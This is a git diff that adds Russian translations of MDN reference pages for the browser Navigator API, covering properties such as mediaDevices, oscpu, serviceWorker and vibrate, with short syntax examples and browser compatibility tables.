The BrowserID protocol defines a new id property on the {{ domxref ("window.navigator")}} object, through which it exposes the BrowserID API, that is the {{domxref("IdentityManager")}} intreface. This API has gone through several significant revisions. Each generation is listed separately below.

+ +

Syntax

+ +
var id = navigator.id
+ +

 

diff --git a/files/ru/web/api/navigator/index.html b/files/ru/web/api/navigator/index.html new file mode 100644 index 0000000000..d073d18ac4 --- /dev/null +++ b/files/ru/web/api/navigator/index.html @@ -0,0 +1,123 @@ +--- +title: Navigator +slug: Web/API/Navigator +tags: + - API + - HTML DOM + - Navigator +translation_of: Web/API/Navigator +--- +

{{ apiref() }}

+ +

Интерфейс Navigator представляет собой состояние и особенности(свойства) пользовательского агента. Это позволяет скриптам узнавать их и самостоятельно регистрироваться для выполнения некоторых действий.

+ +

Объект Navigator может быть вызван свойством {{domxref ("Window.navigator")}}, только для чтения.

+ +

Свойства

+ +

Не наследует никаких других свойств, но реализует те, которые определены в {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, и {{domxref("NetworkInformation")}}.

+ +

Стандартиризованные

+ +
+
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает внутренний "код" текущего браузера. Не полагайтесь на это свойство для получения правильного значения.
+
{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("DOMString")}} с официальным названием браузера. Не полагайтесь на это свойство для получения правильного значения.
+
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает версию браузера как {{domxref("DOMString")}}. Не полагайтесь на это свойство для получения правильного значения.
+
{{domxref("Navigator.battery")}} {{readonlyInline}}
+
Возвращает {{domxref ("BatteryManager")}} объект, который вы можете использовать для получения информации о статусе заряда аккумулятора.
+
{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}
+
Предоставляет {{domxref ("Connection")}} с информацией о сетевом подключении устройства.
+
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
+
Возвращает {{domxref("Geolocation")}} объект, позволяющий получить доступ к местоположению устройства.
+
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("Boolean")}} флаг, показывающий включен ли в браузере java или нет.
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
Возвращает {{domxref ("DOMString")}}, представляющий предпочитаемый пользователем язык, как правило это язык пользвательского интерфейса браузера. Значение null возвращается, когда язык неизвестен.
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
+
Возвращает массив {{domxref("DOMString")}}, представляющий собой языки, известные пользователю, в порядке предпочтения.
+
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("MimeTypeArray")}} листинг MIME типов, поддерживаемых браузером.
+
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
+
Возвращает {{domxref("Boolean")}}, показывающий работает ли браузер в сети.
+
{{domxref("Navigator.oscpu")}}
+
Возвращает строку, показывающую имеющуюся операционную систему.
+
{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает строку, показывающую платформму браузера. Не полагайтесь на эту функцию, чтобы получить нужное значение.
+
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("PluginArray")}} листинг плагинов, установленных в браузере.
+
{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}
+
Всегда возвращает 'Gecko', в любом браузере. Это свойство сохраняется только для целей совместимости.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
Возвращает строку агента пользователя для данного браузера.
+
{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}
+
Возвращает {{domxref("ServiceWorkerContainer")}} объект, который обеспечивает доступ к регистрации, удалению, обновлению и связи с {{domxref("ServiceWorker")}} объектами для соответствующего документа.
+
+ +

Не стандартиризованные

+ +
+
{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}
+
Возвращает идентификатор сборки браузера(например: "2006090803").
+
{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}
+
Возвращает логическое значение (boolean), показывающее включены ли куки в браузере или нет.
+
{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}
+
Значение сообщает о предпочтении пользователя не отслеживать его действия. Когда это значение "да", ваш веб сайт или приложение не должны отслеживать действия пользователя.
+
{{domxref("navigator.id")}} {{non-standard_inline}}
+
Возвращает {{domxref("window.navigator.id", "id")}} объект, который вы можете использовать для добавления поддержки BrowserID на свой сайт.
+
{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}
+
Возвращает {{domxref("window.navigator.mozApps", "Apps")}} объект,  который вы можете использовать для установки, управления и контроля Open Web apps.
+
{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}
+
Объект navigator.mozAudioChannelManager обеспечивает доступ к {{domxref("mozAudioChannelManager")}} интерфейсу, который используется для управления аудио-каналами этого Firefox OS устройства, включая настройку громкости канала, когда кнопка громкости нажата внутри конкретного приложения.
+
{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}
+ {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}
+
Возвращает {{domxref("navigator.mozNotification", "notification")}} объект, который можно использовать для доставки уведомлений пользователю из вашего веб-приложения.
+
{{domxref("navigator.mozSocial")}} {{non-standard_inline}}
+
Объект, возвращающий navigator.mozSocial свойство, доступное в панели провайдера социальных медиадля для обеспечения требуемой функциональности.
+
{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}
+
Возвращает номер сборки текущего браузера(например: "20060909" ).
+
{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}
+
Возвращает пустую строку. В Netscape 4.7x, возвращает "US & CA domestic policy" или "Export policy".
+
{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}
+
Возвращает логическое значение (boolean), показывающее работает ли браузер в автономном режиме. Доступно только в IOS Safari от Apple.
+
{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}
+
Возвращает имя поставщика текущего браузера (например, "Netscape6").
+
{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}
+
Возвращает номер версии поставщика (например, "6.1").
+
navigator.webkitPointer {{non-standard_inline}}
+
Возвращает объект PointerLock для Mouse Lock API.
+
+ +

Методы

+ +

Не наследует никаких других свойств, но реализует те, которые определены в {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorUserMedia")}}, и {{domxref("NavigatorStorageUtils")}}.

+ +

Стандартиризованные

+ +
+
{{domxref("NavigatorUserMedia.getUserMedia()")}}
+
После запроса разрешения у пользователя возвращает аудио или видео поток, взаимодействующий с камерой или микрофоном на локальном компьютере.
+
{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}
+
Разарешает веб-сайту зарегистрировать себя в качестве возможного обработчика для данного MIME типа.
+
{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}
+
Разрешает веб-сайту зарегистрировать себя в качестве возможного обработчика для данного протокола.
+
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}
+
Возвращает false. JavaScript taint/untaint функции отключены в JavaScript 1.2.
+
{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}
+
Причина вибрации устройства с поддержкой ее. Не делает ничего, если нет поддержки вибрации.
+
+ +

Не стандартиризованные

+ +
+
{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}
+
Позволяет коду проверить, есть ли документ в данном URI без использования сети.
+
{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}
+
Разрешает оплату в приложении.
+
{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}
+
Устанавливает предпочтение пользователя. Этот метод доступен только для привилегированного кода и является устаревшим; вы должны использовать вместо него XPCOM Preferences API.
+
{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}
+
Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определенной части устройства включится автоматически.
+
diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html new file mode 100644 index 0000000000..2e8d3aaf0c --- /dev/null +++ b/files/ru/web/api/navigator/mediadevices/index.html @@ -0,0 +1,103 @@ +--- +title: Navigator.mediaDevices +slug: Web/API/Navigator/mediaDevices +translation_of: Web/API/Navigator/mediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +

Свойство Navigator.mediaDevices только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.

+ +

Синтаксис

+ +
var mediaDevices = navigator.mediaDevices;
+
+ +

Возвращаемое значение

+ +

{{domxref("MediaDevices")}} объект синглтон. Как правило, вы просто используете элементы этого объекта напрямую, например с помощью вызова {{domxref("navigator.mediaDevices.getUserMedia()")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("36.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("36.0")}}{{CompatGeckoMobile("36.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html new file mode 100644 index 0000000000..e8a42e9207 --- /dev/null +++ b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html @@ -0,0 +1,32 @@ +--- +title: Navigator.mozAudioChannelManager +slug: Web/API/Navigator/mozAudioChannelManager +translation_of: Archive/B2G_OS/API/Navigator/mozAudioChannelManager +--- +

{{APIRef("Firefox OS")}}{{Non-standard_header}}

+ +

Объект navigator.mozAudioChannelManager предоставляющий доступ к интерфейсу  {{domxref("mozAudioChannelManager")}} который используется для  управления аудио каналами вашего устроства Firefox OS включая настройки эффекта громкости канала, когда кнопки регулировки громкости нажимаются внутри конкретного приложения.

+ +

Синтаксис

+ +
var mgr = window.navigator.mozAudioChannelManager;
+ +

Возвращаемое значение

+ +

A {{domxref("mozAudioChannelManager")}} object.

+ +

Спецификация

+ +

{{page("/en-US/docs/Web/API/mozAudioChannelManager","Specifications")}}

+ +

Совместимость с браузерами

+ +

{{page("/en-US/docs/Web/API/mozAudioChannelManager","Browser_compatibility")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/mozcamera/index.html b/files/ru/web/api/navigator/mozcamera/index.html new file mode 100644 index 0000000000..620fba2e0e --- /dev/null +++ b/files/ru/web/api/navigator/mozcamera/index.html @@ -0,0 +1,43 @@ +--- +title: Navigator.mozCamera +slug: Web/API/Navigator/mozCamera +translation_of: Archive/B2G_OS/API/Navigator/mozCamera +--- +

{{APIRef("Firefox OS")}}

+ +

{{ non-standard_header() }}

+ +

{{B2GOnlyHeader2('privileged')}}

+ +

Резюме

+ +

Возвращает объект {{ domxref("CameraManager") }} который вы можите использовать для доступа к камере доступной на устройстве пользователя.

+ +

Синтаксис

+ +
var camera = window.navigator.mozCamera;
+
+ +

Значение

+ +

navigator.mozCamera это объект {{domxref("CameraManager")}} который вы можете использовать для доступа к камере доступной на устройстве.

+ +

Спецификация

+ +

Не является еще частю какой-либо спецификации; Оно, вероятно, будет заменено на WebRTC, когда оно получит более широкую поддержку на мобильных устройствах.

+ +

Права доступа

+ +

До Firefox OS 1.4,  API камеры было сертифицированным API, недоступным для сторонних приложений. С Firefox OS 2.0 и далее,  Уровень доступа был понижен до привелигированного, так что теперь доступно для разработчиков сторонних приложений.

+ +
"permissions": {
+  "camera": {
+    "description": "Required for accessing cameras on the device."
+  }
+}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/mozl10n/index.html b/files/ru/web/api/navigator/mozl10n/index.html new file mode 100644 index 0000000000..590d3238cd --- /dev/null +++ b/files/ru/web/api/navigator/mozl10n/index.html @@ -0,0 +1,38 @@ +--- +title: Navigator.mozL10n +slug: Web/API/Navigator/mozL10n +tags: + - API + - Firefox OS + - Localization + - Reference + - Référence(2) + - Локализация + - Справка + - Справка(2) +translation_of: Archive/B2G_OS/API/Navigator/mozL10n +--- +

{{APIRef("Firefox OS")}}{{ non-standard_header() }}

+ +

navigator.mozL10n возвращает объект {{ domxref("L10n") }}, который вы можете использовать для доступа к ресурсам локализации и реагировать на события локализации.

+ +

Синтаксис

+ +
var l10n = navigator.mozL10n;
+
+ +

Значение

+ +

navigator.mozL10n возвращает объект{{domxref("L10n")}}.

+ +

Спецификация

+ +

Не имеет спецификации. Заметим, что в будущем этот API будет заменен на L20n.

+ +

Смотри также

+ + diff --git a/files/ru/web/api/navigator/moznfc/index.html b/files/ru/web/api/navigator/moznfc/index.html new file mode 100644 index 0000000000..8e21ea296b --- /dev/null +++ b/files/ru/web/api/navigator/moznfc/index.html @@ -0,0 +1,43 @@ +--- +title: Navigator.mozNfc +slug: Web/API/Navigator/mozNfc +translation_of: Archive/B2G_OS/API/Navigator/mozNfc +--- +

{{APIRef("Firefox OS")}}{{ non-standard_header() }}

+ +

Описание

+ +

Свойство mozNfc возвращает объект {{ domxref("MozNFC") }} который может быть использован для доступа к функциональности Firefox OS's NFC: Near Field Communication (NFC)  это радио технология малой дальности, используемая для обмена данными и тегами между мобильными устройствами прижатыми друг к другу или находящимися близко друг к другу.

+ +

Для получения детальной иформации о NFC, прочтите Использование NFC API и изучите NFC справку.

+ +

Синтаксис

+ +
var nfc = navigator.mozNfc;
+
+ +

Возвращаемое значение

+ +

navigator.mozNfc возвращает объект {{ domxref("MozNFC") }}.

+ +

Совместимость с браузерами

+ +

{{page("/en-US/docs/Web/API/NFC_API","Browser_compatibility")}}

+ +

Спецификация

+ +

{{page("/en-US/docs/Web/API/NFC_API","Specification")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/oscpu/index.html b/files/ru/web/api/navigator/oscpu/index.html new file mode 100644 index 0000000000..01d37fd10e --- /dev/null +++ b/files/ru/web/api/navigator/oscpu/index.html @@ -0,0 +1,80 @@ +--- +title: Navigator.oscpu +slug: Web/API/Navigator/oscpu +translation_of: Web/API/Navigator/oscpu +--- +

{{ ApiRef("HTML DOM") }}

+ +

Возвращает строку, которая идентифицирует текущую операционную систему.

+ +

Синтаксис

+ +
oscpuInfo = window.navigator.oscpu
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Операционная системаФормат строки oscpuInfo
OS/2OS/2 Warp x (either 3, 4 or 4.5)
Windows CEWindowsCE x.y1
Windows 64-bit (64-bit build)Windows NT x.y; Win64; x64
Windows 64-bit (32-bit build)Windows NT x.y; WOW64
Windows 32-bitWindows NT x.y
Mac OS X (PPC build)PPC Mac OS X x.y
Mac OS X (i386/x64 build)Intel Mac OS X x.y
Linux 64-bit (32-bit build)Вывод uname -s плюс "i686 on x86_64"
LinuxВывод uname -sm
+ +

1x.y относится к версии операционной системы

+ +

Пример

+ +
function osInfo() {
+  alert(window.navigator.oscpu);
+}
+// returns: "Windows NT 6.0" for example
+
+ +

Примечание

+ +

Если ваш код не является привилегированным (chrome или по крайней мере имеет привилегию UniversalBrowserRead), он может получить значение general.oscpu.override, а не истинной платформы.

+ +

Спецификация

+ +

Не является частью какой-либо спецификации.

diff --git a/files/ru/web/api/navigator/registerprotocolhandler/index.html b/files/ru/web/api/navigator/registerprotocolhandler/index.html new file mode 100644 index 0000000000..4a15615d8d --- /dev/null +++ b/files/ru/web/api/navigator/registerprotocolhandler/index.html @@ -0,0 +1,119 @@ +--- +title: Navigator.registerProtocolHandler() +slug: Web/API/Navigator/registerProtocolHandler +translation_of: Web/API/Navigator/registerProtocolHandler +--- +

{{APIRef("HTML DOM")}}

+ +

Позволяет веб-сайтам зарегистрировать себя как возможный обработчик  для конкретных протоколов.

+ +

По соображениям безопасности, по умолчанию, веб-сайты могут зарегистрировать только обработчики протокола для себя - домен и протокол обработчика должны совпадать с текущим сайтом. Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрестную обработку веб-сайтов  в настройках gecko.handlerService.allowRegisterFromDifferentHost установив true в about:config.

+ +

Расширения могут регистрировать обработчики протоколов, направленные другие сайты: см. "Смотрите также" раздел как использовать их с XPCOM.

+ +

Синтаксис

+ +
window.navigator.registerProtocolHandler(protocol, uri, title);
+
+ + + +

Пример

+ +

Если ваше веб-приложение находится по адресу http://www.google.co.uk, вы можете зарегистрировать обработчик протокола и привязать  обращение к нему "burger", как это:

+ +
navigator.registerProtocolHandler("burger",
+                                  "http://www.google.co.uk/?uri=%s",
+                                  "Burger handler");
+
+ +


+ Это создаст обработчик, который разрешает burger://ссылки, направляющие пользователя на ваше веб-приложение, вставляя burger информацию указанную в ссылке на URL. Напомним, что этот скрипт должен быть запущен с того же домена (так и слюбой странице расположенной в google.co.uk) и второе, переданный аргумент должен быть http или https схемы (в этом примере это http) .

+ +

Пользователь будет уведомлен о регистрации этого протокола, для примера смотрите на изображение ниже.

+ +

+ +
+

Примечание: "Регистрация службы веб-почты, как mailto-обработчик", показывает как сделать это в рамках XPCOM.

+
+ +

Спецификация

+ +

Specified by the WHATWG's Web Applications 1.0 working draft (HTML5).

+ +

Совместимомть с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка +

13

+ +

Белый лист протоколов включает в себя: mailto, mms, nntp, rtsp, и webcal. Обычные протоколы должны быть с префиксом "web+".

+ 		{{ CompatGeckoDesktop("1.9") }}{{ CompatUnknown() }}Opera 11.60{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("3.5") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + + +

{{ languages( { "es": "es/DOM/window.navigator.registerProtocolHandler", "fr": "fr/DObrM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "pl": "pl/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler" } ) }}

diff --git a/files/ru/web/api/navigator/sendbeacon/index.html b/files/ru/web/api/navigator/sendbeacon/index.html new file mode 100644 index 0000000000..c4db690393 --- /dev/null +++ b/files/ru/web/api/navigator/sendbeacon/index.html @@ -0,0 +1,104 @@ +--- +title: Navigator.sendBeacon() +slug: Web/API/Navigator/sendBeacon +tags: + - API + - Beacon + - sendBeacon + - Маяк + - Производительность + - метод + - сеть +translation_of: Web/API/Navigator/sendBeacon +--- +
{{APIRef("HTML DOM")}}
+ +

Метод navigator.sendBeacon() используется для асинхронной передачи небольшого количества информации поверх {{Glossary("HTTP")}} веб-серверу.

+ +

Синтаксис

+ +
navigator.sendBeacon(url [, data]);
+
+ +

Параметры

+ +
+
url
+
Параметр url устанавливает адрес, на который будут переданы данные параметра data.
+
+ +
+
data {{optional_inline}}
+
Параметр data может содержать объект типа {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или {{domxref("FormData")}}, который будет передан.
+
+ +
+

Использует метод POST при передаче данных

+
+ +

Возвращаемые значения

+ +

sendBeacon() возвращает true, если браузер успешно поставил данные data в очередь отправления, в ином случае false.

+ +

Описание

+ +

Метод предназначен, главным образом, для передачи данных аналитики и диагностики на сервер, перед тем как страница будет закрыта. Так как отправление данных до закрытия страницы может привести к не достаточно полному сбору информации. Стандартный асинхронный {{domxref("XMLHttpRequest")}} не подходит для этих целей, потому что большинство браузеров игнорируют его в событии {{event("unload")}}.

+ +

Для решения этой проблемы ранее использовали синхронный XMLHttpRequest вызванный в событии unload или {{event("beforeunload")}} с данными для передачи. Синхронный XMLHttpRequest блокирует процесс выгрузки документа и текущая страница закрывается не сразу. Ситуация усугубляется, если пользователь уходит с вашей страницы по ссылке или нажимает кнопку "назад". Новая страница не будет загружена в этой вкладке, пока не выгрузится старая. В глазах пользователя, новая страница выглядит заторможенной, хотя на самом деле, это связанно с текущей, выгружаемой, страницей.

+ +

Существуют и другие способы обойти эту проблему. Один из них - создание элемента {{HTMLElement("img")}} и установка аттрибута src в событии выгрузки. Это может сработать, потому что большинство браузеров остановят основной процесс, а вместе с ним и выгрузку страницы, до загрузки изображения. Ещё один способ - создать пустой цикл на несколько секунд, таким образом придержав основной поток и дав асинхронному XMLHttpRequest выполниться.

+ +

Но, проблема в том, что все эти методы не надёжны и приводят к значительным задержкам отклика интерфейса браузера. Не говоря о том, что всё это - плохой стиль написания кода.

+ +

В примере ниже показан код отправления аналитики при помощи синхронного XMLHttpRequest в событии выгрузки страницы. Это решение приведёт к задержке отклика интерфейса браузера. Не используйте это.

+ +
window.addEventListener("unload", logData, false);
+
+function logData() {
+  var client = new XMLHttpRequest();
+  client.open("POST", "/log", false); // последний параметр устанавливает синхронный стиль
+  client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+  client.send(analyticsData);
+}
+
+ +

Здесь-то и найдётся применение sendBeacon(). При использовании метода sendBeacon(), данные будут переданы на сервер асинхронно, как только браузер найдёт оптимальный момент для этого. Это не вызовет задержек выгрузки и не повлияет на время загрузки следующей страницы. Решает все проблемы при отправлении аналитики: данные надёжно доставляются, это происходит асинхронно, не влияет на время выгрузки и загрузки страниц. Кроме того, код выглядит проще, чем при использовании прочих ухищрений.

+ +

Следующий пример покажет, как сделать отправление аналитики красиво и просто с помощью sendBeacon().

+ +
window.addEventListener("unload", logData, false);
+
+function logData() {
+  navigator.sendBeacon("/log", analyticsData);
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Beacon', '#sec-sendBeacon-method', 'sendBeacon()')}}{{Spec2('Beacon')}}Изначальная спецификация
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Navigator.sendBeacon")}}

+ +

See also

+ + diff --git a/files/ru/web/api/navigator/serviceworker/index.html b/files/ru/web/api/navigator/serviceworker/index.html new file mode 100644 index 0000000000..ed2132ddc3 --- /dev/null +++ b/files/ru/web/api/navigator/serviceworker/index.html @@ -0,0 +1,95 @@ +--- +title: Navigator.serviceWorker +slug: Web/API/Navigator/serviceWorker +translation_of: Web/API/Navigator/serviceWorker +--- +

{{APIRef("Service Workers API")}}

+ +

Свойство только-для-чтения Navigator.serviceWorker возвращает объект {{domxref("ServiceWorkerContainer")}}, который предоставляет доступ к регистрации, удалению, обновлению и взаимодействию с объектами {{domxref("ServiceWorker")}} для соответствующего документа.

+ +

Синтаксис

+ +
var workerContainerInstance = navigator.serviceWorker;
+
+ +

Значение

+ +

Объект {{domxref("ServiceWorkerContainer")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#navigator-service-worker', 'navigator.serviceWorker')}}{{Spec2('Service Workers')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(40.0)}}{{CompatGeckoDesktop("33.0")}}{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigator/vibrate/index.html b/files/ru/web/api/navigator/vibrate/index.html new file mode 100644 index 0000000000..94c9f00334 --- /dev/null +++ b/files/ru/web/api/navigator/vibrate/index.html @@ -0,0 +1,107 @@ +--- +title: Navigator.vibrate() +slug: Web/API/Navigator/vibrate +translation_of: Web/API/Navigator/vibrate +--- +

{{APIRef("HTML DOM")}}

+ +

Метод Navigator.vibrate() пульсирует вибрационным обурудованием на устройстве, если такое аппаратное обеспечение существует. Если устройство не поддерживает вибрацию, этот метод не имиеет ни какого эффекта. Если шаблон вибрации уже в процессе выполнения, когда метод вызван, предыдущий шаблон останавливается и вместо него начинается новый.

+ +

Если метод не в состоянии вибрировать из-за недействительных параметров, он вернет false, иначе вернет true. Если шаблон ведет к слишком длинной вибрации, он усекается: максимальная длина зависит от конкретной реализации.

+ +

Синтаксис

+ +
var successBool = window.navigator.vibrate(pattern);
+
+ +
+
pattern
+
Определяет шаблон вибрации и интервал паузы. Значение указывает на число миллисекунд вибрирации или паузы, при чередовании. Вы можете указать либо одно значение (вибрировать постоянно опреднленное количество миллисекунд) или массив значений, поочередно: вибрировать, пауза, затем снова вибрировать. См. Vibration API для уточнения деталей.
+
+ +

Переданное значение 0 или пустой массив, или массив содержащий все нули отменяет любой шаблон вибрации запущеный в текущий момент.

+ +

Примеры

+ +
window.navigator.vibrate(200); // Вибрировать 200ms
+window.navigator.vibrate([100,30,100,30,100,200,200,30,200,30,200,200,100,30,100,30,100]); // Вибрировать 'SOS' на азбуке Морзе.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('Vibration API')}}{{Spec2('Vibration API')}}Связанный со спецификацией недавний редакторский черновик; W3C версия REC.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatGeckoDesktop("11.0")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}} (no prefix) [1]		{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16.0")}} (no prefix) [1]		{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Когда шаблон вибрации слишком долгий или какой-либо из его элементов слишком большой, до Firefox 26 и включая его , Gecko сбрасывал исключение, вместо возврата false ({{bug("884935")}}). До Firefox 32 и далее, возвращалось true, но обрезался шаблон ({{bug(1014581)}}).

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorgeolocation/index.html b/files/ru/web/api/navigatorgeolocation/index.html new file mode 100644 index 0000000000..0132336c03 --- /dev/null +++ b/files/ru/web/api/navigatorgeolocation/index.html @@ -0,0 +1,102 @@ +--- +title: NavigatorGeolocation +slug: Web/API/NavigatorGeolocation +translation_of: Web/API/Geolocation +--- +
{{APIRef("Geolocation API")}}
+ +

NavigatorGeolocation содержит метод, позволяющий объектам реализовывать его,, получая {{domxref("Geolocation")}} экземпляр объекта.

+ +

Здесь нет объектов типа NavigatorGeolocation, но некоторые интерфейсы, например, {{domxref("Navigator")}} реализуют его.

+ +

Свойства

+ +

Интерфейс NavigatorGeolocation не наследует каких-либо свойств.

+ +
+
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
+
Возвращает объект {{domxref("Geolocation")}} позволяющий получить доступ к местоположению устройства.
+
+ +

Методы

+ +

Интерфейс NavigatorGeolocation ни реализует, ни наследует  никаких методов.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}{{Spec2('Geolocation')}}Изначальное описание
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка5{{CompatGeckoDesktop("1.9.1")}}910.60
+ {{CompatNo}} 15.0
+ 16.0		5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("4")}}{{CompatUnknown}}10.60{{CompatUnknown}}
+
+ +

Смотрите также

